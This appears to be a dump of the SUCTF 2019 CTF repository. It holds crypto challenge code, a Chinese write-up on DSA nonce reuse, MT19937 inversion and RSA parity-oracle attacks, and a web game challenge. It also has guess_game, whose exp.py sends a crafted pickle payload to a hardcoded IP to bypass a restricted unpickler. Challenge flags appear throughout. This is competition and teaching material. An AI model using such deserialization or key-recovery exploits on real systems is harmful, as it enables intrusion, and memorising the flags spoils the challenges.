c[0] 30 | while True: 31 | print options 32 | option = raw_input('Please input your option:').strip().upper() 33 | if option == 'D': 34 | cc = int(raw_input('Your encrypted message:').strip()) 35 | mm = k.decrypt(cc) 36 | if mm & 1 == 1: 37 | print 'The plain of your decrypted message is odd!' 38 | else: 39 | print 'The plain of your decrypted message is even!' 40 | elif option == 'G': 41 | mm = int(raw_input('The secret:').strip()) 42 | if mm == m: 43 | print 'Congratulations!' 44 | return True 45 | else: 46 | print 'Wrong! Bye~' 47 | return False 48 | else: 49 | print 'GoodBye~' 50 | return False 51 | 52 | if __name__ == '__main__': 53 | proof_of_work() 54 | rounds = 10 55 | print 'Guess the Secrets %d times, Then you will get the flag!' % rounds 56 | good = 0 57 | try: 58 | for i in range(rounds): 59 | print 'Round %d' % (i + 1) 60 | if challenge(): 61 | good += 1 62 | else: 63 | break 64 | except Exception: 65 | print 'Error! Bye~' 66 | 67 | if good == rounds: 68 | print flag.flag 69 | -------------------------------------------------------------------------------- /Crypto/RSA/start_from_here.py: -------------------------------------------------------------------------------- 1 | import os 2 | port = 12345 3 | command = 'socat -d -d tcp-l:' + str(port) + ',reuseaddr,fork EXEC:"python -u server.py" ' 4 | os.system(command) -------------------------------------------------------------------------------- /Crypto/WriteUp.md: -------------------------------------------------------------------------------- 1 | ## Crypto 2 | ### DSA 3 | 4 | #### 出题思路 5 | 6 | 该题的漏洞点在于DSA数字签名方案中的随机数k的唯一性,随机数k在DSA数字签名中起到了类似于时间戳的作用。一旦两次签名中的k相同,就会造成私钥泄露。因此本题在给出的若干条消息签名中,故意使用重复的随机数k。 7 | 8 | ### 解题思路 9 | 10 | ##### DSA数字签名 11 | 12 | ##### 签名方案 13 | 14 | 1. 选定公共参数$p,q,g$,其中$g^q \bmod p=1$,即$g$的阶为$p$; 15 | 2. 签名方随机生成私钥$x$,满足$0$为数字签名。 20 | 21 | ##### 验签方案 22 | 23 | 接收方在已知公共参数$p,q,g$和接收到消息$m$与签名$$的基础上,可以通过验证以下等式是否成立来验证签名是否有效。 24 | $$ 25 | r=(g^{s^{-1}H(m)}+y^{s^{-1}r} \bmod p) \bmod q 26 | $$ 27 | 其中$s^{-1}$指$s$在模$q$时的乘法逆元。 28 | 29 | ##### 利用方法 30 | 31 | 一旦发现两条消息$m_1,m_2$的数字签名$$和$$有$r_1=r_2=r$,则说明它们在签名过程中使用了相同的随机数$k$。根据签名方案有: 32 | $$ 33 | ks_1=H(m_1)+xr \bmod q\\ 34 | ks_2=H(m_2)+xr \bmod q 35 | $$ 36 | 因此有 37 | $$ 38 | xr(s_2-s_1)\equiv H(m_2)s_1-H(m_1)s_2 \pmod q 39 | $$ 40 | 所以 41 | $$ 42 | x=(r(s_2-s_1))^{-1}(H(m_2)s_1-H(m_1)s_2) \bmod q 43 | $$ 44 | 求得私钥$x$后,自然可以根据DSA数字签名方案对任意消息进行签名。 45 | 46 | ##### exp 47 | 48 | 略。 49 | 50 | ### Prime 51 | 52 | #### 出题思路 53 | 54 | 对任意两个不同素数$p,q$和整数$n=pq$,对任意整数$m,0= 624: 142 | self.twist() 143 | y = self.mt[self.index] 144 | # Right shift by 11 bits 145 | y = y ^ y >> 11 146 | # Shift y left by 7 and take the bitwise and of 2636928640d 147 | y = y ^ y << 7 & 2636928640 148 | # Shift y left by 15 and take the bitwise and of y and 4022730752 149 | y = y ^ y << 15 & 4022730752 150 | # Right shift by 18 bits 151 | y = y ^ y >> 18 152 | self.index = self.index + 1 153 | return _int32(y) 154 | ... 155 | ``` 156 | 157 | 本题将这四步运算的参数略作调整,考察选手能否对其进行逆运算。 158 | 159 | #### 解题思路 160 | 161 | 分别实现左移和右移异或的逆运算函数,然后调用两个函数对密文解密,得到flag。代码如下。 162 | 163 | ```python 164 | from Crypto.Util import number 165 | 166 | transformed_flag = '641460a9e3953b1aaa21f3a2' 167 | c = transformed_flag.decode('hex') 168 | 169 | def decrypt_left(cipher, blocksize, mask): 170 | plain = cipher 171 | t = cipher 172 | for i in range(32 / blocksize): 173 | tt = (t << blocksize) & mask 174 | plain = plain ^ tt 175 | t = tt 176 | return plain 177 | 178 | def decrypt_right(cipher, blocksize, mask): 179 | plain = cipher 180 | t = cipher 181 | for i in range(32 / blocksize): 182 | tt = (t >> blocksize) & mask 183 | plain = plain ^ tt 184 | t = tt 185 | return plain 186 | 187 | def invert(block): 188 | block = decrypt_right(block, 19, 0xffffffff) 189 | block = decrypt_left(block, 17, 2245263360) 190 | block = decrypt_left(block, 9, 2029229568) 191 | block = decrypt_right(block, 13, 0xffffffff) 192 | return block 193 | 194 | def transform(message): 195 | assert len(message) % 4 == 0 196 | new_message = '' 197 | for i in range(len(message) / 4): 198 | block = message[i * 4 : i * 4 +4] 199 | block = number.bytes_to_long(block) 200 | block = invert(block) 201 | block = number.long_to_bytes(block) 202 | new_message += block 203 | return new_message 204 | 205 | flag = transform(c) 206 | print flag.encode('hex') 207 | ``` 208 | 209 | ### RSA 210 | 211 | #### 出题思路 212 | 213 | 该题考察对RSA的parity oracle或LSB oracle漏洞的利用。网上关于parity oracle漏洞利用的writeup和脚本很多,大多是这样的: 214 | 215 | ```python 216 | def crack(n, e, c): 217 | max = n 218 | min = 0 219 | d = pow(2, e, n) 220 | cc = c 221 | while True: 222 | cc = (cc * d) % n 223 | parity = getParity(cc) #parity oracle返回明文奇偶性 224 | if parity == 1: 225 | min = (max + min) / 2 226 | else: 227 | max = (max + min) / 2 228 | if max == min: 229 | return min 230 | ``` 231 | 232 | 原理很简单,但一般情况下最终还原出的明文和真实明文会存在一定偏差,主要原因是max和min是整数类型,其表示的上界和下界不够精确;提高表示精度可以一定程度解决这个问题,但治标不治本,理论上还是存在误差导致还原出的明文不准确。为了增加这种误差存在的概率,原题设置为2048位的$n$,并且要破解10个$m$,后考虑到与服务器交互次数过多,破解时间过长而将参数降低到1024和3。 233 | 234 | #### 解题思路 235 | 236 | 这里仅给出精确还原的脚本,其正确性和完备性证明可参见[A Novel Algorithm for Exploiting RSA Plain’s LSB Oracle][1]。 237 | 238 | ```python 239 | def crack(n, e, c): 240 | rounds = int(math.ceil(math.log(n, 2))) 241 | d = pow(2, e, n) 242 | cc = c 243 | eigenvalue = 0 244 | for i in range(rounds): 245 | if i % 256 == 0: 246 | print i 247 | cc = (cc * d) % n 248 | parity = getParity(cc) #parity oracle返回明文奇偶性 249 | eigenvalue = (eigenvalue << 1) + parity 250 | if eigenvalue == 0: 251 | return 0 252 | else: 253 | return n * eigenvalue / pow(2, rounds) + 1 254 | ``` -------------------------------------------------------------------------------- /Misc/game/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nimmis/apache-php7 2 | 3 | COPY src/index.php /var/www/html/index.php 4 | COPY src/js /var/www/html/js 5 | COPY src/css /var/www/html/css 6 | COPY dist/iZwz9i9xnerwj6o7h40eauZ.png /var/www/html/iZwz9i9xnerwj6o7h40eauZ.png 7 | 8 | RUN rm -rf /var/www/html/index.html 9 | 10 | 11 | -------------------------------------------------------------------------------- /Misc/game/challenge.yaml: -------------------------------------------------------------------------------- 1 | name: game 2 | type: misc 3 | value: 200 4 | description: > 5 | How fast can you play 6 | flag: suctf{U_F0und_1t} # 正确的flag 7 | hints: # 赛题提示 8 | - Encryption with Triple DES 9 | image: true -------------------------------------------------------------------------------- /Misc/game/dist/iZwz9i9xnerwj6o7h40eauZ.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Misc/game/dist/iZwz9i9xnerwj6o7h40eauZ.png -------------------------------------------------------------------------------- /Misc/game/src/css/style.css: -------------------------------------------------------------------------------- 1 | 2 | *, *:before, *:after { 3 | -webkit-user-select: none; 4 | -moz-user-select: none; 5 | user-select: none; 6 | box-sizing: border-box; 7 | cursor: inherit; 8 | margin: 0; 9 | padding: 0; 10 | outline: none; 11 | font-size: inherit; 12 | font-family: inherit; 13 | font-weight: inherit; 14 | font-style: inherit; 15 | text-transform: uppercase; 16 | } 17 | *:focus { 18 | outline: none; 19 | } 20 | 21 | html { 22 | -webkit-tap-highlight-color: transparent; 23 | -webkit-text-size-adjust: 100%; 24 | -webkit-font-smoothing: antialiased; 25 | -moz-osx-font-smoothing: grayscale; 26 | -ms-text-size-adjust: 100%; 27 | -webkit-text-size-adjust: 100%; 28 | overflow: hidden; 29 | height: 100%; 30 | } 31 | 32 | body { 33 | font-family: "BungeeFont", sans-serif; 34 | font-weight: normal; 35 | font-style: normal; 36 | line-height: 1; 37 | cursor: default; 38 | overflow: hidden; 39 | height: 100%; 40 | font-size: 5rem; 41 | } 42 | 43 | .icon { 44 | display: inline-block; 45 | font-size: inherit; 46 | overflow: visible; 47 | vertical-align: -0.125em; 48 | preserveAspectRatio: none; 49 | } 50 | 51 | .range { 52 | position: relative; 53 | width: 14em; 54 | z-index: 1; 55 | opacity: 0; 56 | } 57 | .range:not(:last-child) { 58 | margin-bottom: 2em; 59 | } 60 | .range__label { 61 | position: relative; 62 | font-size: 0.9em; 63 | line-height: 0.75em; 64 | padding-bottom: 0.5em; 65 | z-index: 2; 66 | } 67 | .range__track { 68 | position: relative; 69 | height: 1em; 70 | margin-left: 0.5em; 71 | margin-right: 0.5em; 72 | z-index: 3; 73 | } 74 | .range__track-line { 75 | position: absolute; 76 | background: rgba(0, 0, 0, 0.2); 77 | height: 2px; 78 | top: 50%; 79 | margin-top: -1px; 80 | left: -0.5em; 81 | right: -0.5em; 82 | transform-origin: left center; 83 | } 84 | .range__handle { 85 | position: absolute; 86 | width: 0; 87 | height: 0; 88 | top: 50%; 89 | left: 0; 90 | cursor: pointer; 91 | z-index: 1; 92 | } 93 | .range__handle div { 94 | transition: background 500ms ease; 95 | position: absolute; 96 | left: 0; 97 | top: 0; 98 | width: 0.9em; 99 | height: 0.9em; 100 | border-radius: 0.2em; 101 | margin-left: -0.45em; 102 | margin-top: -0.45em; 103 | background: #41aac8; 104 | border-bottom: 2px solid rgba(0, 0, 0, 0.2); 105 | } 106 | .range.is-active .range__handle div { 107 | transform: scale(1.25); 108 | } 109 | .range__handle:after { 110 | content: ""; 111 | position: absolute; 112 | left: 0; 113 | top: 0; 114 | width: 3em; 115 | height: 3em; 116 | margin-left: -1.5em; 117 | margin-top: -1.5em; 118 | } 119 | .range__list { 120 | display: flex; 121 | flex-flow: row nowrap; 122 | justify-content: space-between; 123 | position: relative; 124 | padding-top: 0.5em; 125 | font-size: 0.55em; 126 | color: rgba(0, 0, 0, 0.5); 127 | z-index: 1; 128 | } 129 | 130 | .stats { 131 | position: relative; 132 | width: 14em; 133 | z-index: 1; 134 | display: flex; 135 | justify-content: space-between; 136 | opacity: 0; 137 | } 138 | .stats:not(:last-child) { 139 | margin-bottom: 1.5em; 140 | } 141 | .stats i { 142 | display: inline-block; 143 | color: rgba(0, 0, 0, 0.5); 144 | font-size: 0.9em; 145 | } 146 | .stats b { 147 | display: inline-block; 148 | font-size: 0.9em; 149 | } 150 | 151 | .text { 152 | position: absolute; 153 | left: 0; 154 | right: 0; 155 | text-align: center; 156 | line-height: 0.75; 157 | perspective: 100rem; 158 | opacity: 0; 159 | } 160 | .text i { 161 | display: inline-block; 162 | opacity: 0; 163 | white-space: pre-wrap; 164 | } 165 | .text--title { 166 | bottom: 75%; 167 | font-size: 4.4em; 168 | height: 1.2em; 169 | } 170 | .text--title span { 171 | display: block; 172 | } 173 | .text--title span:first-child { 174 | font-size: 0.5em; 175 | margin-bottom: 0.2em; 176 | } 177 | .text--note { 178 | top: 87%; 179 | font-size: 1em; 180 | } 181 | .text--timer { 182 | bottom: 78%; 183 | font-size: 3.5em; 184 | line-height: 1; 185 | } 186 | .text--complete, .text--best-time { 187 | font-size: 1.5em; 188 | top: 83%; 189 | line-height: 1em; 190 | } 191 | 192 | .btn { 193 | -webkit-appearance: none; 194 | -moz-appearance: none; 195 | appearance: none; 196 | background-color: transparent; 197 | border-radius: 0; 198 | border-width: 0; 199 | position: absolute; 200 | pointer-events: none; 201 | font-size: 1.2em; 202 | color: rgba(0, 0, 0, 0.25); 203 | opacity: 0; 204 | } 205 | .btn:after { 206 | position: absolute; 207 | content: ""; 208 | width: 3em; 209 | height: 3em; 210 | left: 50%; 211 | top: 50%; 212 | margin-left: -1.5em; 213 | margin-top: -1.5em; 214 | border-radius: 100%; 215 | } 216 | .btn--bl { 217 | bottom: 0.8em; 218 | left: 0.8em; 219 | } 220 | .btn--br { 221 | bottom: 0.8em; 222 | right: 0.8em; 223 | } 224 | .btn--bc { 225 | bottom: 0.8em; 226 | left: calc(50% - 0.5em); 227 | } 228 | .btn--pwa { 229 | transition: color 500ms ease; 230 | color: inherit; 231 | height: 1em; 232 | } 233 | .btn--pwa svg { 234 | font-size: 0.6em; 235 | margin: 0.35em 0; 236 | } 237 | .btn svg { 238 | display: block; 239 | } 240 | 241 | .ui { 242 | pointer-events: none; 243 | color: #070d15; 244 | } 245 | .ui, .ui__background, .ui__game, .ui__texts, .ui__prefs, .ui__stats, .ui__buttons { 246 | position: absolute; 247 | top: 0; 248 | left: 0; 249 | width: 100%; 250 | height: 100%; 251 | overflow: hidden; 252 | } 253 | .ui__background { 254 | z-index: 1; 255 | transition: background 500ms ease; 256 | background: #d1d5db; 257 | } 258 | .ui__background:after { 259 | position: absolute; 260 | top: 0; 261 | left: 0; 262 | width: 100%; 263 | height: 100%; 264 | content: ""; 265 | background-image: linear-gradient(to bottom, white 50%, rgba(255, 255, 255, 0) 100%); 266 | } 267 | .ui__game { 268 | pointer-events: all; 269 | z-index: 2; 270 | } 271 | .ui__game canvas { 272 | display: block; 273 | width: 100%; 274 | height: 100%; 275 | } 276 | .ui__texts { 277 | z-index: 3; 278 | } 279 | .ui__prefs, .ui__stats { 280 | display: flex; 281 | flex-flow: column nowrap; 282 | justify-content: center; 283 | align-items: center; 284 | overflow: hidden; 285 | z-index: 4; 286 | } 287 | .ui__buttons { 288 | z-index: 5; 289 | } 290 | .ui__notification { 291 | transition: transform 500ms ease, opacity 500ms ease; 292 | font-family: sans-serif; 293 | position: absolute; 294 | left: 50%; 295 | bottom: 0.6em; 296 | padding: 0.6em; 297 | margin-left: -9.4em; 298 | width: 18.8em; 299 | z-index: 6; 300 | background: rgba(17, 17, 17, 0.9); 301 | border-radius: 0.8em; 302 | display: flex; 303 | align-items: center; 304 | flex-flow: row nowrap; 305 | color: #fff; 306 | user-select: none; 307 | opacity: 0; 308 | pointer-events: none; 309 | transform: translateY(100%); 310 | } 311 | .ui__notification.is-active { 312 | opacity: 1; 313 | pointer-events: all; 314 | transform: none; 315 | } 316 | .ui__notification * { 317 | text-transform: none; 318 | } 319 | .ui__notification-icon { 320 | background-size: 100% 100%; 321 | left: 0.6em; 322 | top: 0.6em; 323 | width: 2.8em; 324 | height: 2.8em; 325 | border-radius: 0.5em; 326 | background: #fff; 327 | margin-right: 0.6em; 328 | display: block; 329 | } 330 | .ui__notification-text { 331 | font-size: 0.75em; 332 | line-height: 1.4em; 333 | } 334 | .ui__notification-text .icon { 335 | color: #4f82fd; 336 | font-size: 1.1em; 337 | } 338 | .ui__notification-text b { 339 | font-weight: 700; 340 | } 341 | 342 | .btn--stats { 343 | visibility: hidden; 344 | } 345 | -------------------------------------------------------------------------------- /Misc/game/src/index.php: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | game 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 |
16 | 17 |
18 | 19 |
20 |

21 | welcome to suctf 22 |

23 |
24 | 双击即可开始 25 |

26 | can u find my secret? 27 |
28 |
29 | 0:00 30 |
31 |
32 | Well done! 33 |
34 |
35 | 36 | Well done!, 37 | 38 | 39 |
40 |
41 | 42 |
43 | 44 | 45 | 46 | 47 |
48 | 49 |
50 |
51 | Total solves:- 52 |
53 |
54 | Best time:- 55 |
56 |
57 | Worst time:- 58 |
59 |
60 | Average of 5:- 61 |
62 |
63 | Average of 12:- 64 |
65 |
66 | Average of 25:- 67 |
68 |
69 | 70 |
71 | 74 | 77 | 80 | 82 |
83 | 84 |
85 | 89 | 90 | 91 | 92 | 93 | -------------------------------------------------------------------------------- /Misc/game/writeup/Readme.md: -------------------------------------------------------------------------------- 1 | ###game 2 | 在1分15秒内完成游戏后得到假flag,suctf{hAHaha_Fak3_F1ag} 3 | ![1.png-42.8kB][2] 4 | 5 | [2]: http://static.zybuluo.com/Disp41r/f8kcccboy0rpkzbyn3wowb4d/1.png 6 | 在three.min.js中找到secret为一张图片 7 | ![2.png-556.7kB][11] 8 | 9 | [11]: http://static.zybuluo.com/Disp41r/2ithyv9owckptc957o2df4h7/2.png 10 | 11 | 打开图片,发现lsb存在密文,密文是3des加密的,密钥为之前的假flag,解密得到flag 12 | ![3.png-14.9kB][12] 13 | 14 | [12]: http://static.zybuluo.com/Disp41r/0etn7vlsiepf8uri8zrk008d/3.png -------------------------------------------------------------------------------- /Misc/guess_game/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | 3 | RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \ 4 | apt update && apt install -y lib32z1 xinetd python3 5 | 6 | RUN useradd -m ctf 7 | 8 | WORKDIR /home/ctf 9 | 10 | RUN cp -R /lib* /home/ctf/ && \ 11 | cp -R /usr/lib* /home/ctf/ && \ 12 | mkdir /home/ctf/usr && \ 13 | ln -s /lib /home/ctf/usr/lib && \ 14 | echo "flag{cabe5968-8143-4c45-91b7-557edab2ab4d}" > /home/ctf/flag 15 | 16 | RUN mkdir /home/ctf/dev && \ 17 | mknod /home/ctf/dev/null c 1 3 && \ 18 | mknod /home/ctf/dev/zero c 1 5 && \ 19 | mknod /home/ctf/dev/random c 1 8 && \ 20 | mknod /home/ctf/dev/urandom c 1 9 && \ 21 | chmod 666 /home/ctf/dev/* 22 | 23 | RUN mkdir /home/ctf/bin && \ 24 | cp /bin/sh /home/ctf/bin && \ 25 | cp /bin/ls /home/ctf/bin && \ 26 | cp /bin/cat /home/ctf/bin && \ 27 | cp /usr/bin/python3 /home/ctf/bin/python3 28 | 29 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 30 | COPY ./start.sh /start.sh 31 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 32 | 33 | RUN chmod +x /start.sh 34 | 35 | COPY ./src/ /home/ctf/ 36 | RUN chown -R root:ctf /home/ctf && \ 37 | chmod -R 750 /home/ctf 38 | 39 | CMD ["/start.sh"] 40 | 41 | EXPOSE 9999 42 | -------------------------------------------------------------------------------- /Misc/guess_game/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 9999 10 | bind = 0.0.0.0 11 | server = /usr/sbin/chroot 12 | # replace helloworld to your program 13 | server_args = --userspec=1000:1000 /home/ctf ./bin/python3 -u ./game_server.py 14 | banner_fail = /etc/banner_fail 15 | # safety options 16 | per_source = 10 # the maximum instances of this service per source IP address 17 | rlimit_cpu = 20 # the maximum number of CPU seconds that the service may use 18 | #rlimit_as = 1024M # the Address Space resource limit for the service 19 | #access_times = 2:00-9:00 12:00-24:00 20 | } 21 | -------------------------------------------------------------------------------- /Misc/guess_game/exp.py: -------------------------------------------------------------------------------- 1 | import pickle 2 | import socket 3 | import struct 4 | 5 | s = socket.socket() 6 | # s.connect(('172.17.0.2', 9999)) 7 | s.connect(('47.111.59.243', 8051)) 8 | 9 | exp = b'''cguess_game 10 | game 11 | }S"win_count" 12 | I10 13 | sS"round_count" 14 | I9 15 | sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x01sb.''' 16 | 17 | s.send(struct.pack('>I', len(exp))) 18 | s.send(exp) 19 | 20 | print(s.recv(1024)) 21 | print(s.recv(1024)) 22 | print(s.recv(1024)) 23 | print(s.recv(1024)) 24 | -------------------------------------------------------------------------------- /Misc/guess_game/src/game_client.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import pickle 3 | from guess_game.Ticket import Ticket 4 | from guess_game import banner 5 | from struct import pack 6 | 7 | 8 | def pack_length(obj): 9 | return pack('>I', obj) 10 | 11 | 12 | async def start_client(host, port): 13 | reader, writer = await asyncio.open_connection(host, port) 14 | print(banner) 15 | 16 | for _ in range(10): 17 | number = '' 18 | while number == '': 19 | try: 20 | number = input('Input the number you guess\n> ') 21 | number = int(number) 22 | except ValueError: 23 | number = '' 24 | pass 25 | 26 | ticket = Ticket(number) 27 | ticket = pickle.dumps(ticket) 28 | 29 | writer.write(pack_length(len(ticket))) 30 | writer.write(ticket) 31 | 32 | response = await reader.readline() 33 | print(response.decode()) 34 | 35 | response = await reader.readline() 36 | print(response.decode()) 37 | 38 | loop = asyncio.get_event_loop() 39 | loop.run_until_complete(start_client('172.17.0.2', 9999)) 40 | -------------------------------------------------------------------------------- /Misc/guess_game/src/game_server.py: -------------------------------------------------------------------------------- 1 | from guess_game.Ticket import Ticket 2 | from guess_game.RestrictedUnpickler import restricted_loads 3 | from struct import unpack 4 | from guess_game import game 5 | import sys 6 | 7 | with open('/flag', 'r') as f: 8 | flag = f.read().strip() 9 | 10 | 11 | def read_length(obj): 12 | return unpack('>I', obj) 13 | 14 | 15 | def stdin_read(length): 16 | return sys.stdin.buffer.read(length) 17 | 18 | 19 | try: 20 | while not game.finished(): 21 | length = stdin_read(4) 22 | length, = read_length(length) 23 | 24 | ticket = stdin_read(length) 25 | ticket = restricted_loads(ticket) 26 | 27 | assert type(ticket) == Ticket 28 | 29 | if not ticket.is_valid(): 30 | print('The number is invalid.') 31 | game.next_game(Ticket(-1)) 32 | continue 33 | 34 | win = game.next_game(ticket) 35 | if win: 36 | text = "Congratulations, you get the right number!" 37 | else: 38 | text = "Wrong number, better luck next time." 39 | print(text) 40 | 41 | if game.is_win(): 42 | text = "Game over! You win all the rounds, here is your flag %s" % flag 43 | else: 44 | text = "Game over! You got %d/%d." % (game.win_count, game.round_count) 45 | print(text) 46 | 47 | except Exception: 48 | print('Houston, we got a problem.') 49 | -------------------------------------------------------------------------------- /Misc/guess_game/src/guess_game/Game.py: -------------------------------------------------------------------------------- 1 | from random import randint 2 | from guess_game.Ticket import Ticket 3 | from guess_game import max_round, number_range 4 | 5 | 6 | class Game: 7 | def __init__(self): 8 | number = randint(0, number_range) 9 | self.curr_ticket = Ticket(number) 10 | self.round_count = 0 11 | self.win_count = 0 12 | 13 | def next_game(self, ticket): 14 | win = False 15 | if self.curr_ticket == ticket: 16 | self.win_count += 1 17 | win = True 18 | 19 | number = randint(0, number_range) 20 | self.curr_ticket = Ticket(number) 21 | self.round_count += 1 22 | 23 | return win 24 | 25 | def finished(self): 26 | return self.round_count >= max_round 27 | 28 | def is_win(self): 29 | return self.win_count == max_round 30 | -------------------------------------------------------------------------------- /Misc/guess_game/src/guess_game/RestrictedUnpickler.py: -------------------------------------------------------------------------------- 1 | import io 2 | import pickle 3 | import sys 4 | 5 | 6 | class RestrictedUnpickler(pickle.Unpickler): 7 | def find_class(self, module, name): 8 | # Only allow safe classes 9 | if "guess_game" == module[0:10] and "__" not in name: 10 | return getattr(sys.modules[module], name) 11 | # Forbid everything else. 12 | raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) 13 | 14 | 15 | def restricted_loads(s): 16 | """Helper function analogous to pickle.loads().""" 17 | return RestrictedUnpickler(io.BytesIO(s)).load() 18 | -------------------------------------------------------------------------------- /Misc/guess_game/src/guess_game/Ticket.py: -------------------------------------------------------------------------------- 1 | from guess_game import max_round 2 | 3 | 4 | class Ticket: 5 | def __init__(self, number): 6 | self.number = number 7 | 8 | def __eq__(self, other): 9 | if type(self) == type(other) and self.number == other.number: 10 | return True 11 | else: 12 | return False 13 | 14 | def is_valid(self): 15 | assert type(self.number) == int 16 | 17 | if max_round >= self.number >= 0: 18 | return True 19 | else: 20 | return False 21 | -------------------------------------------------------------------------------- /Misc/guess_game/src/guess_game/__init__.py: -------------------------------------------------------------------------------- 1 | banner = r''' 2 | ____ ____ 3 | / ___|_ _ ___ ___ ___ / ___| __ _ _ __ ___ ___ 4 | | | _| | | |/ _ \/ __/ __| | | _ / _` | '_ ` _ \ / _ \ 5 | | |_| | |_| | __/\__ \__ \ | |_| | (_| | | | | | | __/ 6 | \____|\__,_|\___||___/___/ \____|\__,_|_| |_| |_|\___| 7 | 8 | 9 | Rule: 10 | Guess my number! 11 | If you are right in every round, 12 | then I will give you flag. 13 | ''' 14 | 15 | max_round = 10 16 | number_range = 10 17 | 18 | from guess_game.Game import Game 19 | 20 | game = Game() 21 | -------------------------------------------------------------------------------- /Misc/guess_game/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Add your startup script 3 | 4 | # DO NOT DELETE 5 | /etc/init.d/xinetd start; 6 | sleep infinity; 7 | -------------------------------------------------------------------------------- /Misc/homerouter/homerouter.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Misc/homerouter/homerouter.bin -------------------------------------------------------------------------------- /Misc/homerouter/homerouter.bin.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Misc/homerouter/homerouter.bin.zip -------------------------------------------------------------------------------- /Misc/protocol/usbtraffic.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Misc/protocol/usbtraffic.pcapng -------------------------------------------------------------------------------- /Misc/protocol/usbtraffic.pcapng.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Misc/protocol/usbtraffic.pcapng.zip -------------------------------------------------------------------------------- /Misc/签到题/challenge.yaml: -------------------------------------------------------------------------------- 1 | name: 签到题 2 | type: misc 3 | value: 200 4 | description: > 5 | 6 | flag: SUCTF{480a523532f3516a01fe7ff3279bc73} # 正确的flag 7 | hints: # 赛题提示 8 | - Encryption with Triple DES 9 | image: true -------------------------------------------------------------------------------- /Misc/签到题/dist/1.txt.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/team-su/SUCTF-2019/a908c6ee55983c8ac592440694ca1ff1014396d7/Misc/签到题/dist/1.txt.zip -------------------------------------------------------------------------------- /Misc/签到题/src/1.txt: -------------------------------------------------------------------------------- 1 | iVBORw0KGgoAAAANSUhEUgAACcYAAAEOCAYAAACpGla1AAAMSmlDQ1BJQ0MgUHJvZmlsZQAASImVVwdYU8kWnltSSWiBCEgJvYlSpEsJoUUQkCrYCEkgocSYEETsyrIKrl1EQF3RVRFF1wLIWlEX26LY+0MRlZV1sWBD5U0K6Or33vve+b5z758zZ/5TMvfeGQB0qnlSaS6qC0CeJF8WHxHCmpCaxiJ1AiKgAhpUcx5fLmXHxUUDKIP3f8qb6wBR3q+4KLm+H/+voicQyvkAIHEQZwjk/DyIDwCAF/OlsnwAiD7Qbj0jX6rEkyA2kMEEIZYqcZYaFytxhhpXqHwS4zkQ7wKATOPxZFkAaDdBO6uAnwV5tG9C7CoRiCUA6JAhDuSLeAKIIyEekZc3TYmhH3DI+Ion6x+cGUOcPF7WEFbXohJyqFguzeXN/D/b8b8lL1cxGMMOKk0ki4xX1gz7djNnWpQS0yDukWTExEKsD/E7sUDlDzFKFSkik9T+qClfzoE9A0yIXQW80CiITSEOl+TGRGvsGZnicC7EcIWgheJ8bqJm7mKhPCxBw1ktmxYfO4gzZRy2Zm49T6aKq/Q/pchJYmv4b4qE3EH+10WixBR1zhi1QJwcA7E2xEx5TkKU2gezKRJxYgZ9ZIp4Zf42EPsJJREhan5sSqYsPF7jL8uTD9aLLRaJuTEaXJkvSozU8Ozi81T5G0HcJJSwkwZ5hPIJ0YO1CIShYerasUtCSZKmXqxDmh8Sr5n7Upobp/HHqcLcCKXdCmJTeUGCZi4emA8XpJofj5HmxyWq88Qzsnlj49T54IUgGnBAKGABBdQMMA1kA3FbT2MP/KUeCQc8IANZQAhcNJbBGSmqEQm8JoAi8BdEQiAfmheiGhWCAmj/NGRVX11Apmq0QDUjBzyGOA9EgVz4W6GaJRmKlgweQYv4u+h8mGsuVOXY9zY2tERrLIpBXpbOoCcxjBhKjCSGEx1xEzwQ98ej4TUYqjvug/sOZvvFn/CY0E54SLhG6CDcmipeKPumHhYYBzpghHBNzRlf14zbQVZPPAQPgPyQG2fiJsAFHw0jsfEgGNsTWjmazJXVf8v9jxq+6rrGj+JKQSnDKMEUh29najtpew6xKHv6dYfUuWYM9ZUzNPJtfM5XnRbAe9S3nthibD/Wip3AzmKHsUbAwo5hTdgF7IgSD62iR6pVNBgtXpVPDuQRfxePp4mp7KTctc612/WjeixfWKh8PwLONOlMmThLlM9iwze/kMWV8EeOYLm7uvkCoPyOqF9Tr5iq7wPCPPfFtkgIQMD6gYGB377YosYDsG8FANTWLzYHS/guvgHAmZ18haxAbcOVFwL8NunAJ8oYmANr4ADrcQdewB8EgzAwFsSCRJAKpsAui+B6loEZYDZYAEpAGVgB1oJKsAlsATvAbrAPNILD4AT4HZwHl8A1cAeuni7wDPSCN6AfQRASQkcYiDFigdgizog74oMEImFINBKPpCLpSBYiQRTIbGQRUoasQiqRzUgt8ityCDmBnEXakVvIA6QbeYl8QDGUhhqgZqgdOgr1QdloFJqITkaz0OloEVqMLkMr0Bp0F9qAnkDPo9fQDvQZ2ocBTAtjYpaYC+aDcbBYLA3LxGTYXKwUK8dqsHqsGf7PV7AOrAd7jxNxBs7CXeAKjsSTcD4+HZ+